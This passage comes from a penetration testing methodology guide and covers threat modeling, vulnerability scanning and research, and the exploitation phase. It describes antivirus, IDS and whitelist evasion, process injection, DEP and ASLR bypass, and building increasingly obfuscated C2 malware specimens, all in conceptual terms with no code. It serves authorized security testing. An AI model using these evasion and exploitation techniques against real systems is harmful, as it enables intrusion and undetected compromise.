Similar to human assets supporting the process, any 3rd party that has any involvement with the business process should be mapped as well. This category can be tricky to map out, as it could contain both human assets, as well as information/technical ones (such as a SaaS provider).

4.4 Threat Agents/Community Analysis

When defining the relevant threat communities and agents, a clear identification of the threat should be provided in terms of location (internal / external to the organization), the specific community within the location, and any additional relevant information that would assist in establishing a capabilities/motivation profile for the specific agent/community.

Where possible, specific agents should be identified. Otherwise, a more general community should be outlined, alongwith any supporting material and intelligence. Some examples of threat agent/community classifications are:

Internal	External
Employees	Business Partners
Management (executive, middle)	Competitors
Administrators (network, system, server)	Contractors
Developers	Suppliers
Engineers	Nation States
Technicians	Organized Crime
Contractors (with their external users)	Hacktivists
General user community	Script Kiddies (recreational/random hacking)
Remote Support	

4.4.1 Employees

Persons working directly for the company under a part-time or full-time contract. In general they are not regarded as posing a severe threat as most of them are relying on the company to make a living and, assuming they are treated well, are inclined to protect the company rather than to hurt it. Oftentimes involved in data loss incidents or accidental compromise. In rare cases they may be motivated by outsiders to assist in intrusions or they may engage in malicious acts on their own (e.g. rogue traders). While the skill level may vary, it is usually low to medium.

4.4.2 Management (Executive, middle)

Employees working directly for the company as described above. Given their position and function within the company they oftentimes have access to privileged information and may

4.5 Threat Capability Analysis

Once a threat community has been identified, the capabilities of said community must also be analyzed in order to build an accurate threat model that reflects the actual probability of such a community/agent to successfully act upon the organization and compromise it. This analysis requires both a technical analysis as well as an opportunity analysis (where applicable).

4.5.1 Analysis of tools in use

Any tools that are known to be available to the threat community/agent are to be included here. Additionally, tools that may be freely available should be analyzed for the required skill level needed to be able to utilize them to their potential, and mapped in the threat capability.

4.5.2 Availability to relevant exploits/payloads

The threat community/agent should be analyzed in terms of its capability to either obtain or develop exploits for the environment relevant to the organization. Additionally, accessibility to such exploits/payloads through 3rd parties, business partners, or underground communities should also be to taken into account in this analysis.

4.5.3 Communication mechanisms

An analysis of communication mechanisms available to the threat agent/community should be made to evaluate the complexity of attacks against an organization. These communication mechanisms range from simple and openly available technologies such as encryption, through to specialist tools and services such as bulletproof hosting, use of drop-sites, and the use of known or unknown botnets to perform attacks or mask source information. For example, as part of testing we test to see what the overall attack surface for an organization is from the outside. However, there is another whole component that is often times missed. What types of threats can exist post exploitation? This falls under the context of detecting exfiltration channels. Coincidentally, penetration testers are uniquely situated to test an organizations capability to detect command and control channels of today's modern malware. When this is in scope, we recommend the tester create a series of malware specimens that increase the level of obfuscation used to hide C2. The goal is to create malware that is easily detected, then increase the obfuscation to the point where detection no longer occurs.

4.5.4 Accessibility

The final element in the threat actor capability analysis is their accessibility to the organization and/or the specific assets in question. Completing the profile depicted above while factoring in accessibility analysis would enable the penetration test to create clear scenarios that are relevant to the organization's risk.

4.6 Motivation Modeling

The possible motivation of threat agents/communities should be noted for further analysis. Motivations of attackers are constantly changing, as can be seen by the increase in hacktivism branded attacks by groups such as Anonymous and Antisec. There will be subtle differences in unique motivations based on each organization and/or vertical market, some common motivations include :

- Profit (direct or indirect)
- Hacktivism
- Direct grudge
- Fun / Reputation
- Further access to partner/connected systems

4.7 Finding relevant news of comparable Organizations being compromised

In order to provide a complete threat model, a comparison to other organizations within the same industry vertical should be provided. This comparison should include any relevant incidents or news related to such organizations and the challenges they face. Such a comparison is used to validate the threat model and offer a baseline for the organization to compare itself to (taking into account that this publicly available information only represents a portion of the actual threats and incidents the compared organization actually face).

CHAPTER 5

Vulnerability Analysis

5.1 Testing

Vulnerability testing is the process of discovering flaws in systems and applications which can be leveraged by an attacker. These flaws can range anywhere from host and service misconfiguration, or insecure application design. Although the process used to look for flaws varies and is highly dependent on the particular component being tested, some key principals apply to the process.

When conducting vulnerability analysis of any type the tester should properly scope the testing for applicable depth and breadth to meet the goals and/or requirements of the desired outcome. Depth values can include such things as the location of an assessment tool, authentication requirements, etc. For example; in some cases it maybe the goal of the test to validate mitigation is in place and working and the vulnerability is not accessible; while in other instances the goal maybe to test every applicable variable with authenticated access in an effort to discover all applicable vulnerabilities. Whatever your scope, the testing should be tailored to meet the depth requirements to reach your goals. Depth of testing should always be validated to ensure the results of the assessment meet the expectation (i.e. did all the machines authenticate, etc.). In addition to depth, breadth must also be taken into consideration when conducting vulnerability testing. Breadth values can include things such as target networks, segments, hosts, application, inventories, etc. At its simplest element, your testing may be to find all the vulnerabilities on a host system; while in other instances you may need to find all the vulnerabilities on hosts with in a given inventory or boundary. Additionally breadth of testing should always be validated to ensure you have met your testing scope (i.e. was every machine in the inventory alive at the time of scanning? If not, why).

5.2 Active

Active testing involves direct interaction with the component being tested for security vulnerabilities. This could be low level components such as the TCP stack on a network device, or it could be components higher up on the stack such as the web based interface used to administer such a device. There are two distinct ways to interact with the target component: automated, and manual.

Automated

Automated testing utilizes software to interact with a target, examine responses, and determine whether a vulnerability exists based on those responses. An automated process can help reduce time and labor requirements. For example, while it is simple to connect to a single TCP port on a system to determine whether it is open to receive incoming data, performing this step once for each of the available 65,535 possible ports requires a significant amount of time if done manually. When such a test must be repeated on multiple network addresses, the time required may simply be too great to allow testing to be completed without some form of automation. Using software to perform these functions allows the tester to accomplish the task at hand, and focus their attention on processing data and performing tasks which are better suited to manual testing.

Network/General Vulnerability Scanners

Port Based

An automated port based scan is generally one of the first steps in a traditional penetration test because it helps obtain a basic overview of what may be available on the target network or host. Port based scanners check to determine whether a port on a remote host is able to receive a connection. Generally, this will involve the protocols which utilize IP (such as TCP, UDP, ICMP, etc.), However, ports on other network protocols could be present as well dependent on the environment (for example, it's quite common in large mainframe environments for SNA to be in use). Typically, a port can have one of two possible states:

‘‘ Open - the port is able to receive data‘‘
‘‘ Closed - the port is not able to receive data‘‘

A scanner may list other states, such as “filtered”, if it is unable to accurately determine whether a given port is open or closed.

When the scanner determines that a port is open, a presumption is made by the scanner as to whether a vulnerability is present or not. For example, if a port based scanner connects to TCP port 23, and that port is listening, the scanner is likely to report that the telnet service is available on the remote host, and flag it as having a clear text authentication protocol enabled.

Service Based

A service based vulnerability scanner is one which utilizes specific protocols to communicate with open ports on a remote host, to determine more about the service that is running on that port. This is more precise than a port scan, because it does not rely on the port alone to determine what service is running. For example, a port scan may be able to identify that TCP port 8000 is open on a host, but it will not know based on that information alone what service is running there. A service scanner would attempt to communicate with the port using different protocols. If the service running on port 8000 is able to correctly communicate using HTTP, then it will be identified as a web server.

Banner Grabbing

Banner grabbing is the process of connecting to a specific port and examining data returned from the remote host to identify the service/application bound to that port. Often in the connection process, software will provide an identification string which may include information such as the name of the application, or information about which specific version of the software is running.

Web Application Scanners

General application flaw scanners

Most web application scans start with the address of a website, web application, or web service. The scanner then crawls the site by following links and directory structures. After compiling a list of webpages, resources, services and/or other media offered, the scanner will perform tests, or audits against the results of the crawl. For example, if a webpage discovered in the crawl has form fields, the scanner might attempt SQL injection or cross-site scripting. If the crawled page contained errors, the scanner might look for sensitive information displayed in the error detail, and so on.

It should be noted that crawling and testing phases can be staggered and performed at the same time to reduce overall scanning time. This is the default behavior for many web application scanners.

Directory Listing/Brute Forcing

Suppose there are directories available on the website that the crawler won't find by following links. Without prior knowledge of these directories, provided by the user, the scanner has at least two additional options.

The scanner/crawler can search for "common" directories. These are directories with names and variants of names that are commonly found, and are included in a list that has been compiled as the result of years of experience and scanning. Most web applications have a "built-in" list of this sort, while some penetration testers maintain their own custom lists. Sometimes directory names are unique enough that they can be used to identify a 3rd party web application with reasonably high accuracy. An accurate directory list can often be the key to finding the "administrative" portion of a website - a portion most penetration testers should be highly interested in discovering.

Brute forcing directories is a similar approach, though instead of using a static list, a tool is used to enumerate every possibility a directory name could have. The downside of using this approach is that it has the potential to crash or inundate the web server with requests and thus cause a denial-of-service condition. Care should be taken to perform directory brute forcing while someone is keeping a close watch on the condition of the web server, especially in a production setting.

The reason you as the penetration tester would want to perform directory listing is to extend your attack field or to find directories that could contain sensitive information (which depending on the goal of the penetration test, may lead to a major finding within it).

Web Server Version/Vulnerability Identification

Many web application scanners will attempt to compare the version of the web server with known vulnerable versions in security advisories. This approach can sometimes lead to false positives; as there are some cases where open-source web servers are forked or copied and given new names, banners, and assigned different version numbers. Additional steps should be taken to verify that the web server is, in fact, running what the banner, or web scanner reports.

Methods

Several web server methods are considered insecure, and can allow attackers to gain varying levels of access to web server content. The fact that these methods are part of the web server software, and not web site content differentiates it from other vulnerabilities discussed thus far. Some insecure methods include:

OPTIONS

While the HTTP OPTIONS method is not insecure by itself, it can allow an attacker to easily enumerate the kinds of HTTP methods accepted by the target server. Note, the OPTIONS method is not always accurate and each of the methods below should be validated individually.

PUT/DELETE

Using the PUT method, an attacker can upload malicious content such as HTML pages that could be used to transfer information, alter web content or install malicious software on the web server. Using the DELETE method an attacker could remove content or deface a site causing a disruption of service.

Additionally, modern REST applications use PUT in a different manner:

Create->POST Read->GET Update->PUT Delete->DELETE

WebDAV

WebDAV is a component of the Microsoft Internet Information Server (IIS). WebDAV stands for "Web-based Distributed Authoring and Versioning" and is used for editing and file management. WebDAV extensions are used by administrators to manage and edit Web content remotely on IIS Web servers and can include PROPFIND, COPY, MOVE, PROPPATCH, MKCOL, LOCK, and UNLOCK .WebDAV interacts with core operating system components, which can expose a system to several possible vulnerabilities. Some of these potential risks include:

‘‘ Buffer overflow conditions due to improper handling of user requests‘‘
‘‘ Denial-of-service conditions from malformed requests‘‘
‘‘ Domain based scripting attacks‘‘
‘‘ Privilege escalation‘‘
‘‘ Execution of arbitrary code‘‘

TRACE/TRACK

Modern web servers support the TRACE HTTP method, which contains a flaw that can lead to unauthorized information disclosure. The TRACE method is used to debug web server connections and can allow the client to see what is being received at the other end of the request chain. Enabled by default in all major web servers, a remote attacker may abuse the HTTP TRACE functionality to disclose sensitive information resulting in a loss of confidentiality.

Network Vulnerability Scanners/Specific Protocols

VPN

Conventional vulnerability assessment tools are not capable of performing the correct protocol negotiations with VPN devices that service Internet Key Exchange (IKE). In situations where IKE is in use, it will be necessary to use additional toolkits that can perform functions such as accurate fingerprinting, back off patterns and identify authentication mechanisms that are in use. By identifying these attributes of a VPN device, weaknesses can be identified in running code versions as well as authentication types such as static preshared keys.

Voice Network Scanners

War Dialing

Many organizations still utilize out of band access over telephone lines. Using vulnerability assessment tools that are designed to conduct war-dialing can determine weaknesses in authentication and network architecture.

VoIP

Voice over IP technologies are now abundant within most organizations. Many tools have been developed to conduct vulnerability analysis of VoIP infrastructures. Using these tools, one can identify if VoIP networks are properly segmented and potentials for leveraging these networks to access core infrastructure systems or record phone conversations on a target network may exist.

Manual Direct Connections

As with any automated process or technology, the margin for error always exists. Instabilities in systems, network devices and network connectivity may introduce inaccurate results during testing. It is always recommended to execute manual direct connections to each protocol or service available on a target system to validate the results of automated testing as well as identifying all potential attack vectors and previously unidentified weaknesses.

Obfuscated

Multiple Exit Nodes

Security monitoring and defense systems operate under the pretense of identifying malicious activity from a specific IP address. In situations where Intrusion Detection systems are deployed and monitoring activity, sourcing assessment and attack activities from multiple IP addresses provide more accurate results and lessen the opportunity for a monitoring device on a target network to identify and respond. Technologies such as TOR proxies can provide a means to conduct assessment activities without sourcing from a single IP address.

IDS Evasion

When conducting assessment activities against a target environment where IDS technologies are deployed, it may be necessary to perform evasion. Using methods such as string manipulation, polymorphism, session splicing, and fragmentation can provide more accurate results while bypassing signature matching patterns implemented in IDS devices.

5.3 Passive

Metadata Analysis

Metadata analysis involves looking at data that describes a file, as opposed to the file data itself. A Microsoft Office document for example, might list the document author, company, when the document was last saved, when the document was created, and so on. Many documents even allow for the entry of custom metadata. This could potentially contain internal addresses and paths to servers, internal IP addresses, and other information a penetration tester could use to gain additional access or information.

Though metadata is quite common on documents located on a company's internal network, companies should take care to purge metadata before making documents available to the public, or on the public Internet. For this reason, any metadata an attacker could gain access to passively (without directly attacking the target) should be considered a security issue.

Traffic Monitoring

Traffic monitoring is the concept of connecting to an internal network and capturing data for offline analysis. Route poisoning is excluded from this phase as these create "noise" on the network and can easily be detected. It is often surprising how much sensitive data can be gleaned from a "switched" network. This "leaking of data" onto a switched network can be categorized as follows:

ARP/MAC cache overflow, causing switched packets to be broadcast - this is common on Cisco switches that have improper ARP/MAC cache timing configurations.

Etherleak - some older network drivers and some embedded drivers will use data from system memory to pad ARP packets. If enough ARP packets can be collected, sensitive information from internal memory can be captured

Misconfigured clusters or load balancers

Hubs plugged into the network Note that some of these categories only result in data leakage to a single subnet, while others can result in leakage to much larger network segments.

5.4 Validation

Correlation between Tools

When working with multiple tools the need for correlation of findings can become complicated. Correlation can be broken down into two distinct styles, specific and categorical correlation of items, both are useful based on the type of information, metrics and statistics you are trying to gather on a given target.

Specific correlation relates to a specific definable issue such as vulnerability ID, CVE, OSVDB, vendor indexing numbers, known issue with a software product, etc. and can be grouped with micro factors such as hostname, IP, FQDN, MAC Address etc. An example of this would be grouping the findings for host x by CVE number as they would index the same issue in multiple tools.

Categorical correlation relates to a categorical structure for issues such as in compliance frameworks (i.e. NIST SP 800-53, DoD 5300 Series, PCI, HIPPA, OWASP List, etc.) that allow you to group items by macro factors such as vulnerability types, configuration issues, etc. An example of this would be grouping all the findings for hosts with default passwords into a group for password complexity within NIST 800-53 (IA-5).

In most cases penetration testers are going to focus on the micro issues of specific vulnerabilities found in redundancy between multiple tools on the same host. This redundancy can skew the statistical results in the test output leading to a false increased risk profile.

The inverse of this is with an over reduction or simplification in macro correlation (i.e. top 10/20 lists) as the results can skew the output resulting in a false reduced risk profile.

Manual Testing/Protocol Specific

VPN

Fingerprinting

Fingerprinting is useful to determine the type of VPN device and correct version of code released installed. By accurately fingerprinting the device, proper research and analysis can then be conducted against the target system.

Authentication

VPN devices can operate with various forms of authentication. Using VPN toolkits that are not part of conventional vulnerability assessment tools allow for proper identification of the authentication mechanisms and determine weaknesses that may exist such as pre-shared keys or default group IDs.

Citrix

Enumeration

Many default installations and poorly configured Citrix appliances provide a means to enumerate published applications and determine valid usernames that are configured to authenticate to the device. This information becomes crucial during brute force attacks and attempts to break out of predefined profiles for authorized users.

DNS

Domain Name Systems can offer an abundance of information to an attacker when they are not properly hardened. Version information allow for proper identification and accurate research analysis. Weaknesses such as zone transfers provide an exhaustive list of additional targets for attack as well as information leakage of potentially sensitive data pertaining to the target organization.

Web

Web services provide a large landscape for an attacker. Unlike most other protocols and services, web services are often found running on multiple ports of a single system. Administrators may focus their hardening on the common ports for web services or published directories and neglect to properly harden additional attributes. Web services should always be reviewed in a manual fashion as automated assessment tools are not capable of identifying most weaknesses in their services.

Mail

Mail servers can provide an abundance of information about a target organization. Using inherent functions in the target device, confirmation of valid accounts can be conducted as well as developing a list of potential usernames for additional attacks on other systems. Vulnerabilities such as mail relaying can be leveraged for additional attacks on the organization such as phishing. Often, mail servers will provide a web interface for remote access that can be targeted in brute force campaigns.

Attack Avenues

Creation of attack trees

During a security assessment, it is crucial to the accuracy of the final report to develop an attack tree as testing progresses throughout the engagement. As new systems, services and potential vulnerabilities are identified; an attack tree should be developed and regularly updated. This is especially important during the exploitation phases of the engagement as one point of entry that materializes could be repeated across other vectors mapped out during the development of the attack tree.

Isolated Lab Testing

The accuracy of vulnerability analysis and exploitation is substantially greater when replicated environments are setup in an isolated lab. Often times, systems may be hardened with specific control sets or additional protection mechanisms. By designing a lab that mimics that of the target organization, the consultant can ensure that the vulnerabilities identified and exploits attempted against the desired targets are reliable and lessen the opportunity for inaccurate results or system inoperability.

Visual Confirmation

Manual Connection with Review

While proper correlation can help reduce false findings and increase overall accuracy, there is no substitute for visually inspecting a target system. Assessment tools are designed to review the results of a protocol/service connection or the response and compare to known signatures of vulnerabilities. However, tools are not always accurate in identifying services on uncommon ports or custom logic that may be built into an application. By manually assessing a target system, its services available and the applications that provide functionality for those services, a tester can ensure that proper validation and vulnerability identification have been completed.

5.5 Research

Public Research

Once a vulnerability has been reported in a target system, it is necessary to determine the accuracy of the identification of the issue, and to research the potential exploitability of the vulnerability within the scope of the penetration test. In many cases, the vulnerability will be a reported software vulnerability in a commercial or open source software package, and in other cases the vulnerability can be a flaw in a business process, or a common administrative error like misconfiguration or default password usage.

Vulnerability Databases

Vulnerability databases can be used to verify an issue reported by an automated tool, or to manually review the vulnerability of a target application. Most tools will use the CVE identifier for a given vulnerability, which can be used to access the summary information and links to other sources in the CVE database. The CVE can also be used to search for the issue in vulnerability databases like OSVDB and Bugtraq, or in exploit databases and frameworks.

Vulnerability databases should be used to verify the accuracy of a reported issue. For example, an Apache web server flaw can exist on Windows, but not on Linux, which may not be taken into account by an automated scanner.

Vendor Advisories

Vendor-issued security advisories and change logs can provide pointers to vulnerability information that may not be reported by any automated tools. Many major software vendors report limited details on internally discovered issues and issues where an independent researcher coordinates the disclosure of a vulnerability. If the researcher chooses to remain silent on the details of the vulnerability, the vendor advisory is frequently the only data available. In these cases, other researchers may discover more details independently, and add the details to vulnerability databases. Searching for the CVE used in a vendor advisory may turn up more detail on a potentially exploitable issue.

Change logs can provide guidance for additional research, especially in open source products, where a diff between versions can reveal a vulnerability which was fixed but not widely known, and perhaps not prioritized for upgrade or installation as a result.

Exploit Databases and Framework Modules

Many exploit databases are actively maintained and publicly accessible on the Internet. Security researchers and exploit writers do not always submit their exploit code to multiple sites, so it is advisable to become familiar with several sites, and check each one for exploit code to use against potentially vulnerable applications. While some vulnerability databases track exploit availability, their coverage is usually incomplete and should not be considered exhaustive.

Commercial and open source exploit frameworks can also prove useful in researching vulnerabilities. In most cases, available exploit modules are listed on their public web sites, and can be a valuable indication of the exploitability of an issue.

Common/default Passwords

Frequently, administrators and technicians choose weak passwords, never change the default or do not set any password at all. Manuals for most software and hardware can be easily found online, and will provide the default credentials. Internet forums and official vendor mailing lists can provide information on undocumented accounts, commonly-used

passwords and frequently misconfigured accounts. Finally, many web sites document default/backdoor passwords and should be checked for every identified system.

Hardening Guides/Common Misconfigurations

One of the primary goals of penetration testing is to simulate the tactics and behavior of an actual attacker. While automated scanning can reduce the time window of a test, no scanner can behave like a human being. Hardening guides can be an invaluable reference for a penetration tester. They not only highlight the weakest parts of a system, but you can gain a sense of the diligence of an administrator by validating how many recommendations have been implemented. During every penetration test, time should be taken to review every major system and its recommended hardening settings, in order to discover vulnerabilities left in place by the administrator.

User forums and mailing lists can provide valuable information about systems and the various issues administrators have in configuring and securing them. A tester should research target systems as if he were installing one himself, and discover where the pain points and probable configuration errors will lie.

Private Research

Setting up a replica environment

Virtualization technologies allow a security researcher to run a wide variety of operating systems and applications, without requiring dedicated hardware. When a target operating system or application has been identified, a virtual machine (VM) environment can be quickly created to mimic the target. The tester can use this VM to explore to configuration parameters and behaviors of the application, without directly connecting to the target.

Testing Configurations

A testing VM lab should contain base images for all common operating systems, including Windows XP, Vista, 7, Server 2003 and Server 2008, Debian, Ubuntu, Red Hat and Mac OS X, where possible. Maintaining separate images for each service pack level will streamline the process of recreating the target's environment. A complete VM library in combination with a VM environment that supports cloning will allow a tester to bring up a new target VM in minutes. Additionally, using a snapshot feature will allow to work more efficiently and to reproduce bugs.

Fuzzing

Fuzzing, or fault injection, is a brute-force technique for finding application flaws by programmatically submitting valid, random or unexpected input to the application. The basic process involves attaching a debugger to the target application, and then running the fuzzing routine against specific areas of input and then analyzing the program state following any crashes. Many fuzzing applications are available, although some testers write their own fuzzers for specific targets.

Identifying potential avenues/vectors

Log in or connect to a target network application to identify commands and other areas of input. If the target is a desktop application that reads files and/or web pages, analyze the accepted file formats for avenues of data input. Some simple tests involve submitting invalid characters, or very long strings of characters to cause a crash. Attach a debugger to analyze the program state in the event of a successful crash.

Disassembly and code analysis

Some programming languages allow for decompilation, and some specific applications are compiled with symbols for debugging. A tester can take advantage of these features to analyze program flow and identify potential vulnerabilities. Source code for open source applications should be analyzed for flaws. Web applications written in PHP share many of the same vulnerabilities, and their source code should be examined as part of any test.

CHAPTER 6

Exploitation

6.1 Purpose

The exploitation phase of a penetration test focuses solely on establishing access to a system or resource by bypassing security restrictions. If the prior phase, vulnerability analysis was performed properly, this phase should be well planned and a precision strike.. The main focus is to identify the main entry point into the organization and to identify high value target assets.

If the vulnerability analysis phase was properly completed, a high value target list should have been complied. Ultimately the attack vector should take into consideration the success probability and highest impact on the organization.

6.2 Countermeasures

Countermeasures are defined as preventative technology or controls that hinder the ability to successfully complete an exploit avenue. This technology could be a Host Based Intrusion Prevention System, Security Guard, Web Application Firewall, or other preventative methods. When performing an exploit, several factors should be taken into consideration. In the event of a preventative technology, a circumvention technique should be considered. In circumstances when this is not possible, alternative exploit methods should be considered.

Overall, the purpose is to remain stealth when attacking the organization, if alarms are tripped the level of the assessment could be diminished. If at all possible, the countermeasures should be enumerated prior to triggering the exploit. This could be done through doing dry runs of the attack or enumerating the technology.

6.2.1 Anti-Virus

Anti-virus is a technology aimed at preventing malicious software from being deployed on the system. As a penetration tester we should be able to identify these types of anti-virus technologies and be able to protect against them. Anti-virus is a small subset of all of the different preventative measures that can be in place, for example host-based intrusion prevention systems, web application firewalls, and other preventative technologies.

Encoding

Encoding is the method of obfuscating data in a way that makes the deployed piece of code not appear the same. With encoding, the obfuscation occurs usually by scrambling the information and re-arranging in order to hide the fact of what the application is actually doing.

Packing

Packing is similar to encoding in a sense in that it attempts to re-arrange data to compress the application or "pack" it. The hopes of this is that the executable or piece of code being delivered is obfuscated in a manner that it won't be picked up by anti-virus technologies.

Encrypting

Encrypting, like Encoding and Packing is another method of manipulating the intended runnable code such that it is not recognizable or available for inspection. Only after decrypting in in-memory (with methods similar to packing) the actual code is exposed for the first time - hopefully after security mechanisms have allowed it through and it is executed immediately after it is decrypted.

Whitelist Bypass

Whitelisting technologies leveraged a trusted model for applications that have been seen on a given system at a time. The technology takes a baseline of the system and identifies what is normal to be run on the system versus what is something foreign. The penetration tester should be able to circumvent whitelist technologies. One of the most common methods is through direct memory access. Whitelisting does not have the capbility of monitoring memory real time and if a memory resident program is running and not touching disk, it can run without being detect by the given technology.

Process Injection

Process injection is simply the method to inject into an already running process. By injecting into a process, the information of the application can be hidden within a process that would normally be trusted in nature. It's very difficult for preventative measure technology to inspect running processes and can almost always hide in a different process that the application would think is a trusted one.

Purely Memory Resident

Memory resident attacks are generally the most preferred as most technologies do not inspect memory. As an attacker, finding a way to live in memory purely would be most desirable. When writing to disk, most applications will conduct scans, baselines, and other identifications of potentially maliicous software. The ability to be detected when writing to disk becomes significantly greater.

6.2.2 Human

When performing exploitation, it is not always the best route to go through a direct exploit or through an application flaw. Sometimes the human element may be a better way to attack an organization. It's important to understand the right attack avenue and make sure that the method we are leveraging is the best route to take.

6.2.3 Data Execution Prevention (DEP)

When performing exploitation, many preventative measures canc ome into play. Data Execution Prevention is a defensive measure implemented into most operating systems and prevents execute permission when an overwrite in memory has occurred. The thought process behind DEP is to stop an attacker in rewriting memory and then executing that code. There are mulitple methods to bypass data execution prevention and discussed later in the the exploitation phase of PTES.

6.2.4 Address Space Layout Randomization

During a buffer overflow vulnerability (or that of anything where we control memory), memory addresses are hard-coded in order redirect execution flow to our shellcode. In the event of ASLR, certain bytes are randomized in order to prevent an attacker from predicting where he/she can always go to in order to execute shellcode.

6.2.5 Web Application Firewall (WAF)

Web application firewalls are a technology that sits inline with an application in order to protect against web-based application attacks. Web application firewalls attempt to identify potentially dangerous or malforms attacked towards a given web applciation and prevent them. There are a number of bypass techniques for web application firewalls and should be tested during the penetration test.

6.3 Evasion

Evasion is the technique used in order to escape detection during a penetration test. This could be circumventing a camera system as to not be seen by a guard, obfuscating your payloads to evade Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS) or encoding requests/responses to circumvent web application firewalls. Overall, the need to identify a low risk scenario for evading a technology or person should be formulated prior to the exploit.

6.4 Precision Strike

The main focus of a penetration test is to simulate an attacker in order to represent a simulated attack against the organization. The value brought through a penetration test is generally not through smash and grab techniques where the attacks are noisy in nature and in an attempt to try every exploit. This approach may be particularly useful at the end of a penetration test to gauge the level of incident response from the organization, but in most cases the exploitation phase is a accumulation of specific research on the target.

6.5 Customized Exploitation Avenue

Every attack will typically not be the same in how the exploitation avenue occurs. In order to be successful in this phase, the attack should be tailored and customized based on the scenario. For example, if a wireless penetration test is occurred, and a specific technology is in use, these need to be identified and attacked based on what technologies are in place. Having a clear understanding of each scenario and the applicability of an exploit is one of the most important aspects of this phase of the penetration test.

6.6 Tailored Exploits

In a number of occasions the exploits that are public on the Internet may need some work in order to successfully complete. In most cases, if an exploit is designed for Windows XP SP2, specific modifications to the exploit will be required in order for the attack to be successful via Windows XP SP3. The penetration tester should have the knowledge in place to be able to customize an exploit and the ability to change on the fly in order to successfully complete the attack.

6.6.1 Exploit Customization

In the event of an attack, it is often required to simulate the victims infrastructure in order to ensure that the exploitation phase will be successful. The techniques leveraged in the information gathering phase can always help assist in that however, having a working infrastructure and systems in place will make the expliotation phase much easier. In the event of a tailored exploit, the penetration tester should be able to customize already public exploits in order to successfully attack a system. A common theme for exploits is to target specific versions of operating systems or applications. The reason for this is due to memory addresses changing based on service packs, and/or new versions of the operating system. The tester should be able to customize these exploits to successfully deploy to different operating systems and successfully compromise the system.

6.7 Zero-Day Angle

In most cases, the zero-day angle is often a last resort for most penetration testers. This type of attack often represents a highly advanced organization that can handle a focused attack against the organization through normal attack methods. In certain scenarios research may be conducted in order to reverse engineer, fuzz, or perform advanced discovery of vulnerabilities that have not been discovered. In the event this type of attack is applicable, ensure that the environment to the best of the attackers knowledge is reproduced to include countermeasure technology.

In order for zero-day exploits to be successful (or any exploit for that matter), having the same operating system, patches, and countermeasures is highly important on success. Sometimes this information may not be available based on the level of access or enumeration that has occurred.

6.7.1 Fuzzing

Fuzzing is the ability to recreate a protocol or application and attempt to send data at the application in hopes of identification of a vulnerability. Often times the hopes of a fuzzer is to identify a crash in an application and craft a specific exploit out of it. In the case of fuzzing, the attacker is attempting to create a specific vulnerability out of something that hasn't been discovered before. As part of a penetration test, if no avenues are identified during the engagement, or the engagement calls for zero-day research; fuzzing techniques should be leveraged in order to identify potentially vulnerable exposures.

6.7.2 Source Code Analysis

Other avenues that a penetration tester has available is if the source code is available or open-source. If the tester has the ability to look at the source code and identify flaws within the application, zero day exposures can also be identified through these methods.

6.7.3 Types of Exploits

There are several types of exploits that can be identified during a penetration test that could be classified as a zero-day. Some are listed in this section.

Buffer Overflows

Buffer overflows occur due to improper coding techniques. Specifically this usually occurs when a program writes data to a buffer and then overruns the buffer's boundary and begins to overwrite portions of memory. In buffer overflow exploits the attackers goal is to control a crash and gain code execution on the given system. In a buffer overflow exploit, one of the more common techniques is to overwrite a given register and "jump" to the shellcode.

SEH Overwrites

SEH overwrites occur when the structured exception handler begins to gracefully close an application. The attacker can manipulate how SEH works, overwrite the base address of the SEH handler and gain control of execution flow through the SEH. This is a common attack leveraged with buffer overflow vulnerability and applications that have been complied with SEH.

Return Oriented Programming

Return Oriented Programming (ROP) is a technique used during a portion where the user has control of execution flow however data execution prevention (DEP) or other precluding defense mechanisms may be in place. In the situation where DEP is enabled, the attacker does not have direct access to execute specific assembly instructions, therefor the attacker buildsa ROP gadget in order to prep certain Windows API calls or techniques to disable DEP or circumvent DEP. A common method is leveraging the WriteProcessMemory call to copy data from the stack into a writable memory space that can then be executed.

6.7.4 Traffic Analysis

Traffic analysis is the technique of identifying what type of information is being sent and the ability to understand and manipulate that traffic. A penetration tester should be able to understand how a protocol works and how it can be manipulated in order to leverage an attack.

6.7.5 Physical Access

Physical access during a penetration test can be a viable attack method for attempting to circumvent physical security controls and gain unauthorized access. During a penetration test, the assessor should be able to identify potentially flawed physical security controls and attempt to gain access to the facility if within scope.

Human Angle

During a physical penetration test, some of the most obvious ways would be to social-engineer your way into the facility and gain access. This requires significant knowledge of how the organization performs business, and everything you learned from the intelligence gathering phase.

PC Access

If physical access is granted to a PC, the penetration tester should be able to attack the PC and gain access through multiple methods that would allow access to the system.

6.7.6 Proximity Access (WiFi)

Wireless communications are an avenue for attacks to gain access through RF type communications. The penetration tester should view the FCC radio frequency list to see if the target has registered spectrum frequencies in use.

WiFi Attacks

Regardless of protocol, there are a number of attacks available for WEP, WPA, WPA2, EAP-FAST, EAP-LEAP, and other avenues. The attacker should be familiar with the various encryption protocols and standards and be able to effectively test the implementation around the controls put in place.

Attacking the User

Leveraging rogue access points in order to attack the victim is often a beneficial and a viable attack method. Leveraging a rogue access point to entice victims in order to leverage exploits or steal sensitive information should be performed during a wireless assessment. There are several common techniques in use of this, but most commonly the attacker would setup a wireless access point with the same name or an enticing name in order for the victim to connect.

6.8 Example Avenues of Attack

In any scenario, the attacks should consist based on the scenario that is within scope of the engagement. Below is a list of several attack avenues to consider based on scenario but is by no means a comprehensive list.

- Web Application Attacks
- Social-Engineering
- Physical Attack Avenues
- Memory Based Exploits (i.e. buffer/heap overflows, memory corruptions, use-after-free)
- Man in the Middle
- VLAN Hopping
- USB/Flash Drive deployment
- Reverse Engineering
- Zero-Day Angle
- Attacking the user
- Encryption Cracking
- Graphics Processing Unit (GPU) Cracking
- Traffic Analysis
- Firewire
- Routing protocols

- Phishing with Pretexting
- Employee Impersonation

Again, these examples are only basic avenues for attack based on the scenario you are performing for the organization. The value from a penetration test comes from creativity and the ability to identify exposures and exploit them in a precise manner.

6.9 Overall Objective

In the pre-engagement interaction phase with the customer, a clear definition of the overall objectives of the penetration test should have been communicated. In the case of the exploitation phase, the biggest challenge is identifying the least path of resistance into the organization without detection and having the most impact on the organizations ability to generate revenue.

By performing the prior phases properly, a clear understanding of how the organization functions and makes money should be relatively understood. From the exploitation phase and into the post-exploitation phase, the attack vectors should rely solely on the mission of circumventing security controls in order to represent how the organization can suffer substantial losses through a targeted attack against the organization.

CHAPTER 7

Post Exploitation

7.1 Purpose

